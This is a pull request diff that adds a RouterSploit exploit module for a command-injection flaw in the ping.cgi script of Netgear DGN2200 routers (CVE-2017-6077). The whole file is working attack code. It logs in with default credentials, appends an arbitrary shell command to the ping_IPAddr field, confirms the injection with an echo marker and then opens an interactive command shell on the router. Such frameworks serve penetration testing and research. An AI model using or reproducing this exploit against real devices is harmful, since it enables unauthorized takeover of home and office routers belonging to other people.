Merge pull request #179 from jabedude/master

Add Netgear DGN2200 RCE module

routersploit/modules/exploits/netgear/dgn2200_ping_cgi_rce.py

+from routersploit import (
+    exploits,
+    print_error,
+    print_success,
+    print_status,
+    mute,
+    validators,
+    http_request,
+    random_text,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploits Netgear DGN2200 RCE vulnerability in ping.cgi
+    """
+    __info__ = {
+        'name': 'Netgear DGN2200 RCE',
+        'description': 'Exploits Netgear DGN2200 RCE vulnerability in the ping.cgi script',
+        'authors': [
+            'SivertPL',  # vulnerability discovery
+            'Josh Abraham <sinisterpatrician[at]google.com>',  # routesploit module
+        ],
+        'references': [
+            'https://www.exploit-db.com/exploits/41394/',
+            'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6077',
+        ],
+        'devices': [
+            'Netgear DGN2200v1',
+            'Netgear DGN2200v2',
+            'Netgear DGN2200v3',
+            'Netgear DGN2200v4',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    login = exploits.Option('admin', 'Username')
+    password = exploits.Option('password', 'Password')
+
+    def run(self):
+        """
+        Method run on "exploit" or "run" command (both works the same way). It should result in exploiting target.
+        """
+        if self.check():
+            print_success("Target is vulnerable")
+            print_status("Invoking command loop...")
+            shell(self, architecture="mips")
+        else:
+            print_error("Target is not vulnerable")
+
+    def execute(self, command):
+        url = "{}/ping.cgi".format(self.target)
+        data = {'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping': "Ping", 'ping_IPAddr': "12.12.12.12; " + command}
+        referer = "{}/DIAG_diag.htm".format(self.target)
+        headers = {'referer': referer}
+        r = http_request(method="POST", url=url, data=data, auth=(self.login, self.password), headers=headers)
+        result = self.parse_output(r.text)
+        return result.encode('utf-8')
+
+    def parse_output(self, text):
+        yet = False
+        result = []
+        for line in text.splitlines():
+            if line.startswith("<textarea"):
+                yet = True
+                continue
+            if yet:
+                if line.startswith("</textarea>"):
+                    break
+                result.append(line)
+        return "\n".join(result)
+
+    @mute
+    def check(self):
+        """
+        Method that verifies if the target is vulnerable.
+        """
+        rand_marker = random_text(6)
+        command = "echo {}".format(rand_marker)
+
+        if rand_marker in self.execute(command):
+            return True
+
+        return False